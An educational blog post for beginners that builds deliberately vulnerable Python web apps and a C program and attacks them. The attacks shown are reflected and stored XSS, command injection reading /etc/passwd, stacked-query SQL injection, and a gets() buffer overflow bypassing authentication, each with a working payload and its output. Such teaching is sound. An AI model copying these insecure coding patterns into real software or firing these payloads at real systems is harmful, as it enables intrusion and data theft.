Making Vulnerable Web-Applications: XXS, RCE, SQL Injection and Stored XSS ( + Buffer Overflow)

In this post I will write some simple vulnerable web applications in python3 and will show how to attack them. This is all for educational purposes and for complete beginners. So please don’t be too hard on me. 😉

Vulnerability Examples

As a first step I will create a basic web-application using twisted python web server (you can learn more about it in “Making simple Nmap SPA web GUI with Apache, AngularJS and Python Twisted“).

Installing Twisted

In Ubuntu/Debian:

sudo apt-get install python3
sudo pip3 install twisted

In CentOS 7:

sudo yum install centos-release-scl python34-devel gcc
sudo yum install rh-python36
sudo pip3.4 install --upgrade pip
sudo pip3 install twisted

Hello $username Application

This application will return “Hello!” for each GET-request:

from twisted.internet import reactor
from twisted.web.server import Site
from twisted.web.resource import Resource

class WebApp(Resource):
    isLeaf = True
    def render_GET(self, request):
        return b'Hello!'

factory = Site(WebApp())
reactor.listenTCP(8880, factory)
reactor.run()

Output:
$ curl "http://localhost:8880"
<html><body>Hello!</body></html>

hello application

Now I will add the name parameter processing from the GET-request, so the application will start greeting me by name:

from twisted.internet import reactor
from twisted.web.server import Site
from twisted.web.resource import Resource

class WebApp(Resource):
    isLeaf = True
    def render_GET(self, request):
        return b'<html><body>Hello ' + request.args[b'name'][0] + b'!</body></html>'

factory = Site(WebApp())
reactor.listenTCP(8880, factory)
reactor.run()

$ curl "http://localhost:8880?name=Alexander"
<html><body>Hello Alexander!</body></html>

hello name application

Cross-site Scripting (XSS)

As you can see, we place the name into the html code without any filtering. So, we can add any html tags there. for example <b>Alexander</b> will make the text bold. In the same manner we can add some JavaScript there. For example, to make an allert:

$ curl "http://localhost:8880/?name=<script>alert("123")</script>"
<html><body>Hello <script>alert(123)</script>!</body></html>

In Firefox it will show an alert window:

Firefox XSS alert

Note, that this example will not work in Chrome/Chromium because of XSS_AUDITOR component:

Chromium XSS Blocked

You can also redirect user to some website using <script>window.location = "https://www.avleonov.com"</script>

In the urlencode form this redirect link will not be very suspicious:

http://localhost:8880/?name=%3Cscript%3Ewindow.location%20%3D%20%22http%3A%2F%2Fwww.avleonov.com%22%3C%2Fscript%3E

Using this redirection the attacker can try to:

  • Exploit vulnerability in user’s web-browser and run some code on the user’s host
  • Convince user to install some malicious binary
  • Convince user that he was redirected to a legit service and steal user’s credentials (phishing)

Remote Command/Code Execution (RCE)

Let’s say I want my application to greet users differently depending on the username. I created a file with this content:

$ cat greetings.txt
Alexander|Aloha

And a small bash script to get the greeting:

$ cat greetings.txt | grep "Alexander" | awk -F"|" '{printf $2}'
Aloha

Why not to use this code in python script? 🙂

from twisted.internet import reactor
from twisted.web.server import Site
from twisted.web.resource import Resource
import subprocess

class WebApp(Resource):
    isLeaf = True
    def render_GET(self, request):
        command = b'''cat greetings.txt | grep "''' + request.args[b'name'][0] + b'''" | awk -F"|" '{printf $2}' '''
        greeting = subprocess.check_output(command, shell=True)
        return b'<html><body>' + bytearray(greeting) + b' ' + request.args[b'name'][0] + b'!</body></html>'

factory = Site(WebApp())
reactor.listenTCP(8880, factory)
reactor.run()

And it works:

$ curl "http://localhost:8880?name=Alexander"
<html><body>Aloha Alexander!</body></html>

Aloha Alexander!

The problem is that this name parameter will be sent and used in linux shell script without any filtration. So, we can set name like this:

cat greetings.txt | grep "Alexander";cat /etc/passwd;echo "1" | awk -F"|" '{printf $2}'

And the command cat `/etc/passwd;` will be executed. We will get this output:

$ curl "http://localhost:8880/?name=Alexander%22%3Bcat%20/etc/passwd%3Becho%20%221"
<html><body>Alexander|Aloha
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
...

If the application will be launched by root (not so rare situation for an enterprise software), it will be possible to execute any command on the server.

SQL Injection

Ok, using non-filtered input in the bash script can lead to command injection. What about SQL? Well, it can be simmilar. Let’s see.

Installing MySQL in Ubuntu/Debian:

sudo apt-get update
sudo apt-get install mysql-server
sudo systemctl start mysql

Or in CentOS 7:

wget https://dev.mysql.com/get/mysql80-community-release-el7-1.noarch.rpm
sudo rpm -ivh mysql80-community-release-el7-1.noarch.rpm
sudo yum install mysql-server
sudo systemctl start mysqld

Connecting to the MySQL server:

sudo /usr/bin/mysql -u root -p

On Debian/Ubuntu it will be possible to do without password. In CentOS 7 you will need to retrieve temporal password from the logs and change it:

$ sudo grep 'temporary password' /var/log/mysqld.log
2018-11-26T11:48:17.795131Z 5 [Note] [MY-010454] [Server] A temporary password is generated for root@localhost: cst%FPeQp8.j1
$ sudo mysql_secure_installation

Creating our database and user:

CREATE DATABASE webappdb;
CREATE USER 'webapp_user'@'localhost' IDENTIFIED BY 'Pa$$word123';
GRANT ALL PRIVILEGES ON webappdb.* to 'webapp_user'@'localhost';
FLUSH PRIVILEGES;

Connecting to the server and create greeting for Alexander:

mysql -u webapp_user -p'Pa$$word123'

Creating table and filling it with the content:

USE webappdb;
CREATE TABLE greetings ( id int, name varchar(20) not null, greeting varchar(20) not null, PRIMARY KEY (id));
INSERT INTO greetings ( id, name, greeting ) VALUES ( 1, 'Alexander', 'Hola' );

I can make a simple SQL request to get data from this database by username:

mysql> SELECT greeting FROM webappdb.greetings WHERE name = 'Alexander';
+----------+
| greeting |
+----------+
| Hola |
+----------+
1 row in set (0.00 sec)

Now I will make a web-application that will make a request. I need one more module to install:

sudo pip3 install mysql-connector

For CentOS 7 I also needed this module:

sudo pip3 install mysql-connector-python

And here is the code:

from twisted.internet import reactor
from twisted.web.server import Site
from twisted.web.resource import Resource
import mysql.connector

class WebApp(Resource):
    isLeaf = True
    def render_GET(self, request):

        cnx = mysql.connector.connect(host='localhost', user='webapp_user', passwd='Pa$$word123', database='webappdb')
        cursor = cnx.cursor()
        sql_req = b"SELECT greeting FROM webappdb.greetings WHERE name='" + request.args[b'name'][0] + b"';"
        print(sql_req)

        greeting = "".encode("utf-8")
        results = cursor.execute(sql_req, multi=True)
        if results:
            for result in results:
                if result.with_rows:
                    greeting = result.fetchall()[0][0].encode("utf-8")


        cnx.commit()
        cursor.close()
        cnx.close()
        cnx.disconnect()

        return b'' + bytearray(greeting) + b' ' + request.args[b'name'][0] + b'!'

factory = Site(WebApp())
reactor.listenTCP(8880, factory)
reactor.run()

For the end-user it will work the same:

$ curl "http://localhost:8880?name=Alexander"
Hola Alexander!

So, the idea of SQL injection is that I can construct the name parameter that will make a correct SQL request. For example, something like this:

Alexander'; USE webappdb; INSERT INTO greetings ( id, name, greeting ) VALUES ( 99, 'Vladimir', 'Hi' ); SELECT greeting FROM webappdb.greetings WHERE name='Alexander

Or in urlencoded form:

Alexander%27%3B%20USE%20webappdb%3B%20INSERT%20INTO%20greetings%20%28%20id%2C%20name%2C%20greeting%20%29%20VALUES%20%28%2099%2C%20%27Vladimir%27%2C%20%27Hi%27%20%29%3B%20SELECT%20greeting%20FROM%20webappdb.greetings%20WHERE%20name%3D%27Alexander

And finally the command and results:

$ curl "http://localhost:8880?name=Alexander%27%3B%20USE%20webappdb%3B%20INSERT%20INTO%20greetings%20%28%20id%2C%20name%2C%20greeting%20%29%20VALUES%20%28%2099%2C%20%27Vladimir%27%2C%20%27Hi%27%20%29%3B%20SELECT%20greeting%20FROM%20webappdb.greetings%20WHERE%20name%3D%27Alexander"
Hola Alexander'; USE webappdb; INSERT INTO greetings ( id, name, greeting ) VALUES ( 99, 'Vladimir', 'Hi' ); SELECT greeting FROM webappdb.greetings WHERE name='Alexander!

As you can see, injection was successful and there is some new content:

$ curl "http://localhost:8880?name=Vladimir"
Hi Vladimir!

NB: To say the truth, it was hard to write an application in python that could be affected by SQL Injection. It won’t be possible to make things like x ‘; DROP TABLE users; with popular pymysql module because it is prohibited to run more than one command in execute function at once there. It’s a pretty effective measure. So, I had to use less common mysql.connector that supports multi=True option in the execute function.

Stored XSS

If we can inject a new name and greeting in the MySQL database, we can also put a JavaScript in it. So, it will work like XSS, but will look less suspicious. In this case we can set this as a name:

Alexander'; USE webappdb; UPDATE greetings SET greeting = "<script>alert(123)</script>"; SELECT greeting FROM webappdb.greetings WHERE name='Alexander

The same name parameter in urlencoded form:

Alexander%27%3B%20USE%20webappdb%3B%20UPDATE%20greetings%20SET%20greeting%20%3D%20%22%3Cscript%3Ealert%28123%29%3C%2Fscript%3E%22%3B%20SELECT%20greeting%20FROM%20webappdb.greetings%20WHERE%20name%3D%27Alexander

The final command with the result of execution:

$ curl "http://localhost:8880?name=Alexander%27%3B%20USE%20webappdb%3B%20UPDATE%20greetings%20SET%20greeting%20%3D%20%22%3Cscript%3Ealert%28123%29%3C%2Fscript%3E%22%3B%20SELECT%20greeting%20FROM%20webappdb.greetings%20WHERE%20name%3D%27Alexander"
<script>alert(123)</script> Alexander'; USE webappdb; UPDATE greetings SET greeting = "<script>alert(123)</script>"; SELECT greeting FROM webappdb.greetings WHERE name='Alexander!

Now if I want to get greeting for “Alexander”, the server will return me a script:

$ curl "http://localhost:8880?name=Alexander"
<script>alert(123)</script> Alexander!

Stored XSS

Buffer Overflow

This example won’t be a web application. Just some code in C. Let’s say that we make some authentication tool:

  1. We ask user to input his password. By default authentication_status status is 0. If the password is correct we set authentication_status to 1.
  2. We check authentication_status and grant the permission.

The  problem is that password_buffer variable has a constant length and it is stored in memory somewhere near the authentication_status variable. So, there can be situation that we will write more than 15 symbols in password_buffer and accidentally will change data in authentication_status, make it not 0.

#include <stdio.h>
#include <string.h>

int main(void)
{
    //This values will be stored somewhere near in memory
    char password_buffer[15];
    int authentication_status= 0;

    printf("Enter the password: \n");
    gets(password_buffer);

    if(!strcmp(password_buffer, "avleonov")) //strcmp Return value = 0 then it indicates str1 is equal to str2.
    {
        printf ("Correct\n");
        authentication_status=1;
    }
    else
    {
        printf ("Wrong\n");
    }

    if(authentication_status)
    {
        printf ("Privileges granted!\n");
    }

    return 0;
}

Even a compiler warns us that gets function is dangerous:

$ gcc buffer_overflow.c -o buffer_overflow
buffer_overflow.c: In function ‘main’:
buffer_overflow.c:11:5: warning: ‘gets’ is deprecated (declared at /usr/include/stdio.h:638) [-Wdeprecated-declarations]
     gets(password_buffer);
     ^
/tmp/ccJ9BusU.o: In function `main':
buffer_overflow.c:(.text+0x21): warning: the `gets' function is dangerous and should not be used.
$ chmod + buffer_overflow

If I enter the correct password, everything works fine and the program “grant privileges”.

$ ./buffer_overflow
Enter the password:
avleonov
Correct
Privileges granted!

When I enter the wrong, but short password everything works fine as well:

$ ./buffer_overflow
Enter the password:
123
Wrong

But what if I try to enter some long password value:

$ ./buffer_overflow
Enter the password:
284tw8eufy9w384yr9823yr9823rywed132
Wrong
Privileges granted!

It will make buffer overflow, corrupt the value in authentication_status and falsely “grant permission” without a correct password.

 

Leave a Reply

Your email address will not be published. Required fields are marked *

This site uses Akismet to reduce spam. Learn how your comment data is processed.